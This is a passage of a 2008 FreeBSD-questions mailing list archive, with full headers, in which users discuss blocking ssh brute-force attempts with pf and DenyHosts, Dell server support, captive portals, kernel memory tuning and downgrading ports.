owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 07:17:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7F124106564A for ; Thu, 4 Dec 2008 07:17:19 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from ik-out-1112.google.com (ik-out-1112.google.com [66.249.90.176]) by mx1.freebsd.org (Postfix) with ESMTP id 03CFF8FC19 for ; Thu, 4 Dec 2008 07:17:18 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: by ik-out-1112.google.com with SMTP id c21so3522973ika.3 for ; Wed, 03 Dec 2008 23:17:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:in-reply-to:mime-version:content-type:references; bh=B4Cc04wnzJe336fFVjE0NM8yN1sF5Vm6UWiKtHoT7dc=; b=clUZH8zVf2bOclmr8HkOhXSF9VKag3cU29BsSiCQnioCwCLbDwjPEtJbJq8KrOWTBD AfTTYHL7HygvAwKHon8ta5s6QND3TEY88yHXsknJiYxe5SJJqwIRZO2U30tkfZIQvaJ9 2oQ76qSaWaEeKczFLDgD2yktbaHR6zSXcNO90= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:in-reply-to:mime-version :content-type:references; b=gTUaHEYAwg7Mz072Re6NDRZYvIY7QbJ1lxDCBRGzGeDIppxLYiwRb4w0YbPNZz9Iru Why9z+ywjv08rZkfBp/xHdosSgJkoLdQW8O0gwPUHtFzuG9EXktHBAcLkXD7069iELM3 h0qKnlXGINRNLVA3HUhpCu0J6UX9YFQL9s1rQ= Received: by 10.210.40.10 with SMTP id n10mr16267240ebn.102.1228375037636; Wed, 03 Dec 2008 23:17:17 -0800 (PST) Received: by 10.210.17.12 with HTTP; Wed, 3 Dec 2008 23:17:17 -0800 (PST) Message-ID: Date: Thu, 4 Dec 2008 00:17:17 -0700 From: "Tim Judd" To: "Daniel Bye" , "FreeBSD Questions" In-Reply-To: <20081204025357.GD19575@torus.slightlystrange.org> MIME-Version: 1.0 References: <20081204025357.GD19575@torus.slightlystrange.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: Firewalls using a DNSbl (and distributed ssh attacks) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 07:17:19 -0000 On Wed, Dec 3, 2008 at 7:53 PM, Daniel Bye wrote: > On Wed, Dec 03, 2008 at 07:43:26PM -0600, Jeffrey Goldberg wrote: > > It's not a big issue, but I'm wondering if there is a DNSBl that lists > > IPs that are engaging in brute force ssh attacks. And if there is > > such a list, is there a way to integrate that information into a > > firewall or sshd. > > > > As I've said this really isn't a big issue for me, as the brute force > > attempts at sshd are nothing but an annoyance as I review logs. > > > > The attacks that I'm seeing appear to be coordinated and distributed. > > That is, there will be one attempt on username "fred" from one IP > > immediately followed by an attempt on "freddy" from another IP > > followed by an attempt on "fredrick" from a third source and so on. > > I don't know of any DNSbl type service, but I am using DenyHosts with > very great success. Its synchronisation feature allows participating > instances of the script to share IP addresses of misbehaving hosts, > so as soon as an address hits the database, it's only a matter of an > hour or so before your instance can start blocking it. > > The basic setup uses TCP wrappers to block offending hosts, but I am > using the datafile it maintains as a file-based table in pf, which I > reload periodically from a cronjob. > > Dan > > -- > Daniel Bye > _ > ASCII ribbon campaign ( ) > - against HTML, vCards and X > - proprietary attachments in e-mail / \ > Depending on the role of the machine, I've started to firewall off remote ssh connects to my machines except only the hosts I use. A dyndns hostname + pf querying DNS and the static IPs that I have at the office. All others don't need access, and if push comes to shove, I can update dyndns IP with anything I'm behind, allow DNS propogation, (hour?) and then connect. works quite well. pf example: block in on fxp0 all pass in on fxp0 inet proto tcp from { , "sub.dyndnsorg.tld" } to port 22 keep state flags S/SA When you implement this, the firewall sees no existing state (I think) and will kill your connection. If you didn't typo the firewall rule, you can connect right back. --TJ From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 07:29:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4DC861065675 for ; Thu, 4 Dec 2008 07:29:17 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190]) by mx1.freebsd.org (Postfix) with ESMTP id B45AA8FC1B for ; Thu, 4 Dec 2008 07:29:16 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so2076982nfh.33 for ; Wed, 03 Dec 2008 23:29:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=kQBrITl7ZjqpOSgO7HGU6TlMox8kGdgvHQcc3d05frI=; b=TkNsh0/xDLpXKZwduclHXmY+yRsunik7cVdxeovYvPh2CoRsxPSzhFuPfIX244LsOr Vb5p+xlH+vxYFNTK/jQZ1jQmeyNOgyZT1YsIPoNoMB2cvj6L6d+MkXHrht0i4wTsbUdW glFEvpyd7/kgsyIIQGJdGqwoTHndgbxsJ/P0I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=hHMP5L/SpcSDzzqBVfNqIaz1Cq0A+QCZEJ/bP7lUMQjvoZ30SFaG0FSCvgLuoVvDit XAj0kNl1+TYxydWYEzh188zVISDpVdtUYO+LDIJwCd8NKdAXefTRboY5osUJD99a1nBg 3MLeo+4cVosf1rDXsvwVi858QWt3Tc1rIeDYU= Received: by 10.210.46.14 with SMTP id t14mr9278710ebt.39.1228375755564; Wed, 03 Dec 2008 23:29:15 -0800 (PST) Received: by 10.210.17.12 with HTTP; Wed, 3 Dec 2008 23:29:15 -0800 (PST) Message-ID: Date: Thu, 4 Dec 2008 00:29:15 -0700 From: "Tim Judd" To: "Chris Boyd" In-Reply-To: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> MIME-Version: 1.0 References: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Installation on a Dell Poweredge R805 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 07:29:17 -0000 On Tue, Dec 2, 2008 at 10:57 AM, Chris Boyd wrote: > I'm having an issue installing FreeBSD 7 AMD64 on a Dell Poweredge R805. > > The system starts to boot, throws several mpt_cam_event 0x12 and 0x16 > errors, presents the boot menu, and then crashes with a "Fatal trap 12: page > fault while in kernel mode" and then wants to reboot. > > This is a dual CPU, quad core Opteron 2352 system with 8GB RAM and dual SAS > on a PERC6 controller. I've tried various memory and BIOS settings to see > if I can get it to boot, but it either does the bits describe above, or > hangs hard. > > Any and all suggestions appreciated. > > --Chris > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > 1: PERC6 is not listed as supported, last time I checked. 2: Dells are notorious for not working very well with !Windows, !Linux (haven't tried something like Open Solaris) I have a new PE2950's at the office, FreeBSD sees everything, including the PERC6i controller, but the motherboard NICs are suffering horribly bad for performance. Ping flood from the console to it's own IP address bound to the NIC looses 30% of it's packets. Also, what's "NIC2" on the motherboard/case labeling, is the first NIC FreeBSD finds. NIC1 is the 2nd nic FreeBSD finds. Just oddities. Honestly, I would either stick with IBM or iXsystems branded machines. Others may have success, but those two just seem the best I've seen. Custom builds are always an option too, and the warranties for custom builds are often equal, or longer, than a brand-name machine, but you have to talk to each device vendor, instead of "Dell" for example. --Tim From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 07:41:57 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A340106564A for ; Thu, 4 Dec 2008 07:41:57 +0000 (UTC) (envelope-from awd@awdcomp.net) Received: from home.awdcomp.net (ppp121-45-10-50.lns10.adl2.internode.on.net [121.45.10.50]) by mx1.freebsd.org (Postfix) with ESMTP id E494E8FC18 for ; Thu, 4 Dec 2008 07:41:56 +0000 (UTC) (envelope-from awd@awdcomp.net) Received: from getafix.abdulla ([192.168.202.99]) by home.awdcomp.net with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L88qD-00077X-T7; Thu, 04 Dec 2008 18:11:41 +1030 Message-ID: <493789A0.40204@awdcomp.net> Date: Thu, 04 Dec 2008 18:11:20 +1030 From: Andrew User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Olivier Nicole References: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> <20081203222520.GA19693@hal.rescomp.berkeley.edu> <200812040337.mB43bGHE015979@banyan.cs.ait.ac.th> In-Reply-To: <200812040337.mB43bGHE015979@banyan.cs.ait.ac.th> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org, ccowart@rescomp.berkeley.edu Subject: Re: Firewall with bridged interfaces and captive portal X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 07:41:57 -0000 Olivier Nicole wrote: > Hi Chris, > >>> I need to implement a firewall with bridged interfaces that offers >>> captive portal (authentication before opening the traffic). >> We are using a combination of squid+ipfw. Although we are NATing the >> users, that really just introduces needless complexity that could be >> avoided with a bridging solution. >> >> Our web-app/captive portal/authentication program is written in-house; >> it's very tightly integrated with several existing pieces of >> infrastructure. I don't know if there are any solutions that will work >> out-of-the-box. >> >> I can get you more technical details if this is a direction you'd be >> interested in moving. > > Long time ago I have been toying with ipf (for the genral firewall) > and NoCat+ipfw for the captive portal. > > But that did not work too well, so any technical information will be > appreciated :) > > My long term vision is a quite integrated thing, where users that read > their email and authenticate to POP3/IMAP would be granted the access > without the need to authenticate to the web portal. > For squid have a look at the option auth_param You are able to use your own authorisation app/script that can check all kinds of places to see if that IP is allowed access. For example I have a client that has samba on his transparent proxy. Each user has a drive letter mapped to that share. The script defined by auth_param just greps the ip from 'smbstatus -p' and uses the username with that IP to tell squid what user it is for the logs. There would be nothing to stop the script to check ipfw, to see if there is rules for that ip to allow access and then if there isn't, add them. To remove the ipfw rules you could have a cron script that checks the last packet time (using -t or -T) and if its over a certain time then remove it (preferably with the checking of where you got the initial check to see if the user is valid or not). HTH cya Andrew > Best regards, > > Olivier > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 08:27:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 68AED106564A for ; Thu, 4 Dec 2008 08:27:21 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 204628FC1C for ; Thu, 4 Dec 2008 08:27:20 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.175] (unknown [192.168.0.175]) by mail.unitedinsong.com.au (Postfix) with ESMTP id DB4424080 for ; Thu, 4 Dec 2008 12:57:27 +1000 (EST) From: Da Rock To: freebsd-questions@freebsd.org In-Reply-To: <18743.14461.951431.581673@jerusalem.litteratus.org> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> Content-Type: text/plain Date: Thu, 04 Dec 2008 12:57:45 +1000 Message-Id: <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-5.fc8) Content-Transfer-Encoding: 7bit Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 08:27:21 -0000 On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > Da Rock writes: > > > Excuse my nose in here- I just have a couple of questions. > > > > 1) It IS possible to boot from a dedicated disk? > > Yes. Can't remember the last time I used anything else. So you've never booted from a disk that has been partitioned as a file system? From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 08:27:21 2008 Return-Path: Delivered-To: Freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6F7711065670 for ; Thu, 4 Dec 2008 08:27:21 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 205B98FC1D for ; Thu, 4 Dec 2008 08:27:20 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.175] (unknown [192.168.0.175]) by mail.unitedinsong.com.au (Postfix) with ESMTP id 4F5A4407D for ; Thu, 4 Dec 2008 12:06:17 +1000 (EST) From: Da Rock To: Freebsd-questions@freebsd.org Content-Type: text/plain Date: Thu, 04 Dec 2008 12:06:34 +1000 Message-Id: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-5.fc8) Content-Transfer-Encoding: 7bit Cc: Subject: FreeBSD 7.0 problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 08:27:21 -0000 I have just installed FreeBSD 7.0 on a laptop I just cleaned up. It used to run Fedora linux (I have a tv card which used to work on it, but now I can't get the drivers to work again), and it got very cluttered and started getting issues. The hardware is fine though- it just returned from servicing under warranty and nearly every component was replaced. Ergo I can't fault the hardware in any way. I tried FreeBSD 7.0 before, but it wasn't working properly for me and I didn't have the time then to get all the reports to make a PR. Now, I decided to sort this out- finally! The issues I'm having are similar to before, but not quite the same (keeping in mind that I didn't take much time with it before). They are: The wifi driver complains of timeout errors. (Intel iwi 2200bg - last time I tried had a ralink wifi) Xorg has DRI errors - fills /var and tries to kill the whole system (I'm probably exaggerating, but it felt like it at least) dhclient loses the IP constantly. So: How do I present these issues for review? What information is needed? Anything I've missed? This is the first time I've had to do this (which I think is pretty good- goes to show how well the OS is built), so I'm a little green in this regard. Cheers From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 08:45:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1F8E21065670 for ; Thu, 4 Dec 2008 08:45:19 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id E241D8FC17 for ; Thu, 4 Dec 2008 08:45:18 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 09C87AFC1C6; Wed, 3 Dec 2008 23:45:18 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Thu, 4 Dec 2008 09:44:37 +0100 User-Agent: KMail/1.9.7 References: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> In-Reply-To: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-6" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> Cc: Da Rock Subject: Re: FreeBSD 7.0 problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 08:45:19 -0000 On Thursday 04 December 2008 03:06:34 Da Rock wrote: > I have just installed FreeBSD 7.0 on a laptop I just cleaned up. It used > to run Fedora linux (I have a tv card which used to work on it, but now > I can't get the drivers to work again), and it got very cluttered and > started getting issues. The hardware is fine though- it just returned > from servicing under warranty and nearly every component was replaced. > Ergo I can't fault the hardware in any way. > > I tried FreeBSD 7.0 before, but it wasn't working properly for me and I > didn't have the time then to get all the reports to make a PR. > > Now, I decided to sort this out- finally! The issues I'm having are > similar to before, but not quite the same (keeping in mind that I didn't > take much time with it before). They are: > > The wifi driver complains of timeout errors. (Intel iwi 2200bg - last > time I tried had a ralink wifi) > Xorg has DRI errors - fills /var and tries to kill the whole system (I'm > probably exaggerating, but it felt like it at least) > dhclient loses the IP constantly. > > So: How do I present these issues for review? What information is > needed? Anything I've missed? > > This is the first time I've had to do this (which I think is pretty > good- goes to show how well the OS is built), so I'm a little green in > this regard. For starters: * dmesg * pciconf -lv * if you have omni-positional antennas on the AP or not * if the dri problems go away when dri is disabled and no other symptoms show up * /var/log/Xorg.0.log without the abundance of dri errors * ls /var/db/pkg/ |grep 'xf86-video-*' * Why you installed 7.0 and not 7.1-BETA2 -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 09:12:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3F7FC1065670 for ; Thu, 4 Dec 2008 09:12:56 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.186]) by mx1.freebsd.org (Postfix) with ESMTP id C1DB48FC16 for ; Thu, 4 Dec 2008 09:12:55 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so2093362nfh.33 for ; Thu, 04 Dec 2008 01:12:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=DddvsNFDWaVzxqW0h+1ebdbBLJHwYSLsYDichfOIFYU=; b=YpvY2tnskh3Sn8aBEivwlBW8p02eal7suk/gRuipB10BMweEpcA4/oDPRKomnSmt+J CyFzVk3uBdOlXQf9paX0pN/oJ+vqjnbzd8dknYmnoDZTRF7mwuUnQbQMyKZOqopoG2Qo HbTxGrmoMBAbGvIb/hwRBojXkX+gi0pB3Vn3U= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=OBJYGPbp+cYsK1ZWDUD7peVqHtDC6iPIDXrYl4mf0lPjjLWYNihuC0v4eayCoxU9lX eQtf2o2ZUuBqWfwIjuQyUVJkIhQS6E2fHRiEJM4Qb2zy6x/QmkH248yeAqI0GAd6DCEI FyeV3V1l3oyaSH66iqXmBIiPC8GwyYFnGk1QA= Received: by 10.210.113.16 with SMTP id l16mr16356166ebc.91.1228381974369; Thu, 04 Dec 2008 01:12:54 -0800 (PST) Received: by 10.210.117.7 with HTTP; Thu, 4 Dec 2008 01:12:54 -0800 (PST) Message-ID: <139b44430812040112j44f0a54dx931bc06d88641ea2@mail.gmail.com> Date: Thu, 4 Dec 2008 11:12:54 +0200 From: "Valentin Bud" To: "Weldon S Godfrey 3" In-Reply-To: <20081203103803.V43611@emmett.excelsus.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20081203103803.V43611@emmett.excelsus.com> Cc: freebsd-questions@freebsd.org Subject: Re: loader.conf issues X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 09:12:56 -0000 On Wed, Dec 3, 2008 at 5:45 PM, Weldon S Godfrey 3 wrote: > > I did a quick search for this and didn't see anyone seeing this. > > I am running 7.0-PRERELEASE amd64 > > This is my loader.conf: > > vm.kmem_size_max="16106127360" > vm.kmem_size="1073741824" > kern.maxvnodes="800000" > > However, this is what happens after reboot: > > store1# sysctl -a | grep kmem > vm.kmem_size_scale: 3 > vm.kmem_size_max: 3221225472 > vm.kmem_size_min: 0 > vm.kmem_size: 1073741824 > store1# sysctl -a | grep kern.maxvn > kern.maxvnodes: 100000 > store1# > > > Is there some issue with vm.kmem_size_max being larger than 3G? If this has > been fixed, let me know. I am using 7.0-RELEASE loader from amd64 iso since > for some reason, when I complile a new loader on this Dell 2950-iii, I get > an unusable loader (it just hangs before the screen to select safe mode, > single user mode, etc). Quote Jeremy Chadwich talking about vm.kmem_size: "1) Consider increasing it from 512M to something like 1.5GB; do not increase it past that on RELENG_7, as there isn't support for more than 2GB total. For example, on a 1GB memory machine, I often recommend 768M. On 2GB machines, 1536M. You will need to run -CURRENT if you want more." a great day, v > > Thanks, > > Weldon > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 09:26:12 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 815171065672 for ; Thu, 4 Dec 2008 09:26:12 +0000 (UTC) (envelope-from thavinci@thavinci.za.net) Received: from thavinci.za.net (mail.e-soul.co.za [196.211.117.44]) by mx1.freebsd.org (Postfix) with ESMTP id 1A7058FC13 for ; Thu, 4 Dec 2008 09:26:08 +0000 (UTC) (envelope-from thavinci@thavinci.za.net) Received: from thavinci.za.net (localhost [127.0.0.1]) by thavinci.za.net (Postfix) with ESMTP id 08D649B4DF for ; Thu, 4 Dec 2008 11:25:50 +0200 (SAST) Received: by thavinci.za.net (Postfix, from userid 1002) id E24F29B4DD; Thu, 4 Dec 2008 11:25:49 +0200 (SAST) Received: from thavinciPC (unknown [192.168.12.110]) by thavinci.za.net (Postfix) with ESMTP id BCCD59B4CF for ; Thu, 4 Dec 2008 11:25:49 +0200 (SAST) From: "Marcel Grandemange" To: Date: Thu, 4 Dec 2008 11:25:43 +0200 Message-ID: <025d01c955f2$4856e270$d904a750$@za.net> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclV8kfc21UThFm9RgO2Zdm2QiZHDg== Content-Language: en-us X-Virus-Scanned: ClamAV using ClamSMTP Subject: Downgrading Ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 09:26:12 -0000 Good Day Guys. Im wondering how can one downgrade ports? And I don't mean installed ports (portdowngrade) , I mean the actual ports system. I have found the freeradius2 port to be broken and can't install it therefore I would like to downgrade ports to try install an older version. Any advise? From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 10:08:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C1D19106567B for ; Thu, 4 Dec 2008 10:08:50 +0000 (UTC) (envelope-from ben@b1c1l1.com) Received: from lancer.b1c1l1.com (lancer.b1c1l1.com [72.13.86.100]) by mx1.freebsd.org (Postfix) with ESMTP id AB63F8FC08 for ; Thu, 4 Dec 2008 10:08:50 +0000 (UTC) (envelope-from ben@b1c1l1.com) Received: from supra.b1c1l1.com (c-76-102-159-187.hsd1.ca.comcast.net [76.102.159.187]) by lancer.b1c1l1.com (Postfix) with ESMTPSA id 554A65C29; Thu, 4 Dec 2008 02:08:48 -0800 (PST) Message-ID: <4937AC23.1030203@b1c1l1.com> Date: Thu, 04 Dec 2008 02:08:35 -0800 From: Benjamin Lee User-Agent: Thunderbird 2.0.0.18 (X11/20081126) MIME-Version: 1.0 To: Marcel Grandemange References: <025d01c955f2$4856e270$d904a750$@za.net> In-Reply-To: <025d01c955f2$4856e270$d904a750$@za.net> X-Enigmail-Version: 0.95.7 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig7E7138862DC5116607F99F25" Cc: freebsd-questions@freebsd.org Subject: Re: Downgrading Ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 10:08:50 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig7E7138862DC5116607F99F25 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 12/04/08 01:25, Marcel Grandemange wrote: > Good Day Guys. >=20 > Im wondering how can one downgrade ports? > And I don't mean installed ports (portdowngrade) , I mean the actual po= rts > system. >=20 > I have found the freeradius2 port to be broken and can't install it > therefore I would like to downgrade ports to try install an older versi= on. >=20 >=20 > Any advise? See portdowngrade(1) -- it doesn't do what you think it does. Use it to fetch an earlier version of the port and then reinstall it however you wish, e.g. using portupgrade(1). --=20 Benjamin Lee http://www.b1c1l1.com/ --------------enig7E7138862DC5116607F99F25 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIcBAEBAgAGBQJJN6wpAAoJEN/n9makEYThZIMP/0v5bzCtgp53pDpuZ/Jcpxpx 1mcafE5MS2gtJn9aLmIU7v0/hac3krofD1zmjYT1ot7rT+XkV2mQx/Rc8WWyVI5I SWE6+U/bo5LB42Jp3spnvDskOY+u4l8PuFme6od32spLdElha3R6ustvVRjvJiN9 VSeDGIiRQ00wrVRy+uLl8Mg3IeN5p1RMdwjuPoqQJtPzz+qG9YFBaa0aqjn1QTYn jANls/jYo3U/cxrcGkrIH4IwnbM0BOfIkx9OR6VHMTyGiOGE23ERzKq2UvnL8KIw 1buARxetCiTkqfLd+l2UM3VqN3w8yz9GIF8/Ng/jRBJjy0Gr9ZpGtNs27jGTYAoy sbI3HqkFk8YH+RFevkBuIhPy6i14KIvtnwjXqNWF0nD8Ac7lmLYWJraN7Ps6XOug 12QPKsNVckSARBkP32tdh1jwHrnoy/5OM3boOMtEjbvqbuZ4DW9IxZS3DB6Rr95n rd62CCSDEc/DcFxotKGe1BwL3xphm2PNfi9W7ZuKQ02uFfMWA4d/BX8k9oLCTZOI XVd/GzN/TBidwjQ20+swqDCH7Jbde37ZB5mjvZEeiVZJR7FtmBt3O3O/0qLlrVRe hTmRoe4c3lzu03se3zefiRMhKZASMIAsTSo6B3xipOEhpRBMj+B/kRGLVoWZKMtm ZJsIov2n2z0hc/gzT3Bv =MjrP -----END PGP SIGNATURE----- --------------enig7E7138862DC5116607F99F25-- From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 10:15:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8915E1065673 for ; Thu, 4 Dec 2008 10:15:54 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id 21E568FC0C for ; Thu, 4 Dec 2008 10:15:53 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from 